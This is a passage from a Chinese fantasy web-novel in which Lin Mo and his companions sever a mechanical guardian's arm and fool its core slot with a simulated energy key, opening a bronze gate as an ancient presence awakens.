林默将残存的所有力量,连同引动祖焱火种后残留在经脉中的一丝狂暴火毒,尽数灌注左拳!
暗金的薪火裹挟着灼热的火毒,化作一道凝练到极致的拳芒,狠狠轰向守卫肩关节处能量纹路最密集、也是此刻因干扰而最为脆弱的那个“点”!
薪火燃秽·焚源!
轰——!!!
拳芒精准命中!
没有惊天动地的**,只有令人牙酸的金属撕裂与能量湮灭的刺耳尖鸣!
嗤啦——咔嚓!!!
守卫庞大的身躯猛地一震!
钻头手臂与躯干连接的肩关节处,厚重的装甲如同被高温熔断的钢板,向内扭曲、撕裂!
幽蓝的能量如同失控的血管般疯狂喷溅!
那条恐怖的钻头手臂,竟被林默这搏命一拳,硬生生从关节处……轰断!
轰隆!
巨大的金属断臂连同钻头砸落在地,发出沉闷的巨响!断口处电火花疯狂跳跃!
“吼——!!!”
非攻守卫头部的多棱晶体第一次发出了并非电子合成、而是带着金属摩擦般痛苦与暴怒的咆哮!
它失去了一条手臂,庞大的身躯因失去平衡而踉跄后退!胸口的幽蓝光芒疯狂闪烁!
“成功了!”青鸢狂喜!
“还没完!”林默摔落在地,左臂骨骼发出不堪重负的**,经脉灼痛欲裂,刚才那一击几乎抽空了他最后的力量!
破妄右眼死死盯着守卫因暴怒而剧烈起伏的胸口——那个圆形的、缺失了核心“机枢”的凹槽!
凹槽边缘,因守卫核心能量剧烈波动而短暂暴露,一个极其微小、如同钥匙孔般的插口,一闪而逝!
就是那里!
“青鸢!凹槽!钥匙孔!看到了吗?!”林默嘶吼。
“看到了!”青鸢眼神锐利如鹰,天工密匣的扫描光束瞬间锁定凹槽,“
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需要‘机枢’才能插入!但我们没有!”
“不!我们有!”墨灵的声音带着决绝的疯狂,“林默!你的破妄!能看到那个孔的能量流动吗?青鸢!用密匣的最高解析力,模拟‘机枢’的能量频率!哪怕只有万分之一秒!”
“你想……欺骗机关?!”林默瞬间明白了墨灵的意图!这是赌命!
“没时间了!它要发狂了!”墨灵看着守卫稳住身形,仅剩的蒸汽手臂和四条步足爆发出更恐怖的幽蓝光芒,显然是准备发动毁灭性攻击!
“我试试!”青鸢小脸煞白,但眼神无比专注,手指在密匣光幕上化为残影,“解析能量频率……模拟‘非攻’序列核心波动……构建能量拟态钥匙……给我……成啊!”
嗡!
天工密匣爆发出前所未有的幽蓝光芒,一道极其凝练、带着复杂能量波动的光束瞬间射出,精准地指向守卫胸口凹槽!
“林默!”墨灵和青鸢同时嘶喊!
不需要言语!
林默强提最后的精神,破妄右眼金光前所未有的凝聚,死死锁定凹槽处那个一闪而逝的钥匙孔!
在青鸢模拟的“能量钥匙”光束即将射入凹槽的万分之一秒!
“就是现在!孔位偏移0.7微米!向下修正!”
破妄金光如同无形的指挥棒,精准地引导着那道模拟光束,在千钧一发之际,擦着凹槽边缘,精准无比地刺入了那个肉眼几乎无法捕捉的钥匙孔!
嗡——!!!
整个守卫庞大的身躯猛地僵住!
胸口的幽蓝光芒瞬间从狂暴的闪烁变成了稳定、柔和的流转!
头部的多棱晶体停止了愤怒的旋转,幽蓝光芒变得平和,甚至带着一丝……疑惑?
成功了?欺骗成功了!
轰隆!
沉重的青铜巨门,在守卫僵直的同时,内部传来一阵巨大的机括运转声!
厚重的门扉,缓缓地向内……开启了一道缝隙!
古老、厚重、带着机油与金属气息的微风,从门缝中吹出。
“门……开了!”青鸢的声音带着难以置信的狂喜。
噗通!
林默再也支撑不住,单膝跪地,剧烈喘息,左臂无力垂下,破妄右眼金光黯淡。
刚才那精准到极致的引导,耗尽了最后的心神。
然而!
就在三人心神稍松的刹那!
那僵直的非攻守卫,胸口的幽蓝光芒猛地剧烈一闪!似乎要挣脱那短暂的欺骗!
同时,开启了一道缝隙的青铜巨门深处,一股远比守卫更加古老、更加死寂、带着无尽岁月沉淀的冰冷意志,如同沉睡的洪荒巨兽,悄然……苏醒!
一股无形的、令人灵魂冻结的威压,缓缓弥漫开来。